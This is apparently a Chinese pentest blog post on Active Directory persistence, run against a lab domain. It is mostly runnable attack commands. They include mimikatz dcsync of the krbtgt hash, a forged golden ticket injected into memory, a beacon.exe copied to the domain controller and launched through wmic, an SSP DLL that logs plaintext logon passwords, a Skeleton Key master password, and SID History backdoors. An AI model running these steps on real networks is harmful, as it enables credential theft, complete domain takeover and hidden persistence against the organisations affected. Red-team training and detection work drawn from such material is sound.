域权限维持

发布于 2021-08-10  839 次阅读


《渗透测试》目录

一、PTT

1.黄金票据伪造原理

AS确认Client端登录者用户身份

KDC返回的Msg B:使用 TGS密钥(KDCHASH/KRBTGT用户NTLMHASH) 加密的TGT(Ticket-Granting-Ticket),当我们获取到krbtgt用户的NTLM哈希后,便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给KDC,这样KDC如果通过解密伪造TGT获取到伪造的 [CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据。

2.黄金票据伪造条件

制作金票的条件:

  • 域名称
  • 域的SID值
  • 域的KRBTGT账户密码HASH
  • 伪造用户名,可以是任意的

3.利用步骤

(1)域名称(de1ay.com)

(2)域SID

S-1-5-21-2756371121-2868759905-3853650604

(3)域krbtgt账户ntlm hash或aes-256值

mimikatz lsadump::dcsync /user:krbtgt@de1ay.com

(4)清理所有票据

klist purge
mimikatz kerberos::purge

(5)mimikatz伪造指定用户的票据并注入内存

mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080/ptt
  • /admin:伪造的用户名
  • /domain:域名称
  • /sid:SID值,去掉最后一个 - 后面的值
  • /krbtgt:krbtgt的HASH值
  • /ticket:生成的票据名称

(6)查看票据

mimikatz kerberos::list

(7)得到域控shell

upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe)
shell copy C:\Users\de1ay.DE1AY\Desktop\beacon.exe \\10.10.10.10\c$
shell wmic /authority:"kerberos:de1ay.com\DC" /node:"DC" process call create "cmd /c c:\beacon.exe"
connect 10.10.10.10

4.mimikatz

mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi
kerberos::purge
kerberos::ptt golden.kirbi
kerberos::list

二、SSP

1.SSP简介

SSP(security Support Provider),一个用于身份验证的 dll,系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。    

将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

2.SSP利用

copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add “hklm\system\currentcontrolset\control\lsa\” /v “Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

计算机重启后,如果有用户成功登录到当前系统中,会在 C:\windows\system32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件

mimikatz privilege::debug
mimikatz misc::memssp
type C:\Windows\System32\mimilsa.log

三、Skeleton Key

1.Skeleton Key

Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。    

Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。    

在域控安装Skeleton Key:

privilege::debug
misc::skeleton

域内主机使用Skeleton Key登录域控,mimikatz的默认Skeleton Key设置为mimikatz。

Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限。

net use \\DC.de1ay.com mimikatz /user:administrator@de1ay.com

四、SID History

1.SID简介

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。    

SID History是在域迁移过程中需要使用的一个属性。    

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。    

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

2.Mimikatz添加后门

privilege::debug
sid::patch
sid::add /sam:ming /new:administrator

3.PowerShell查看SID

PowerShell查看ming用户的SID History

Import-Module ActiveDirectory
Get-ADUser ming -Properties sidhistory

4.验证

验证域用户ming是否有具有administrator权限:


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。